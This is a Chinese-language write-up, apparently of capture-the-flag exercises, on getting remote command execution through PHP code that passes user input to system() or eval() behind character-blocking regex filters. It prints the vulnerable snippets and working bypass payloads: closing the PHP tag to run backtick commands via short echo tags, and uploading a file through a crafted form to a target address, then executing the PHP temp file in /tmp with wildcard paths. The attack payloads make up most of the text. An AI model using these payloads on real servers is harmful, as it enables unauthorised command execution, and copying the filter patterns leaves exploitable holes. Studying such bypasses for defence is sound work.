示例一:

先附上代码

<?php
if(isset($_GET['x'])){
$x=$_GET['x'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $x)){
system($x);
}
}else{
highlight_file(__FILE__);
}
?>

代码分析

对传入的x过滤了字母和数字等各种字符

预备知识

  • 在php中``可以执行系统命令
  • php短标签可以直接输出内容
  • 在文件中添加#! /bin/sh可以不用执行权限执行文件
  • 在linux系统中输入.+一个可执行文件可以执行文件
  • linux系统中的通配符?

示例:

<?php
if(isset($_GET['x'])){
eval($_GET['x']);
}else{
highlight_file(__FILE__);
}
?>

我们可以构造

?x=?><?=`whoami`?>		#闭合前面的php标签,构造短标签执行命令

1.png

  • 当我们通过php上传文件时,服务器一般会将文件上传到一个临时目录,然后再将文件转移到指定地方,临时文件的保存形式为php+6位随机数字和大小写字母,默认的临时文件路径在/tmp目录下

查看php.ini中是否开启文件上传和默认的临时文件保存目录
file_uploads =on
upload_tmp_dir=

执行过程

通过以上分析我们可以在本地写一个文件上传页面,附上代码

<html>
<form action="http://192.168.1.107/index.php" enctype='multipart/form-data'method='POST'>
<input type='file'name='file'/>
<input type='submit'value='upload'/>
</form>
</html>

然后构造payload,可以匹配临时文件的最后一个字母,[@-[]匹配大写字母,执行失败可以多试几次

x=.%20/???/????????[@-[]

2.png

也可以执行我们想用的其他命令

示例二:

代码

<?php
if(isset($_GET['x'])){
$x=$_GET['x'];
if(preg_match("/[A-Za-oq-z0-9$]+/",$x)){
die("No.1 Die");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$x)){
die("No.2 Die");
}
eval($x);
}
highlight_file(__FILE__);
?>

代码分析

对输入的x过滤了字母数字等,未过滤字母p,可以使用短标签执行命令

执行过程

构造payload进行绕过

?x=?><?=`.%20/??p/p?p??????`;

3.png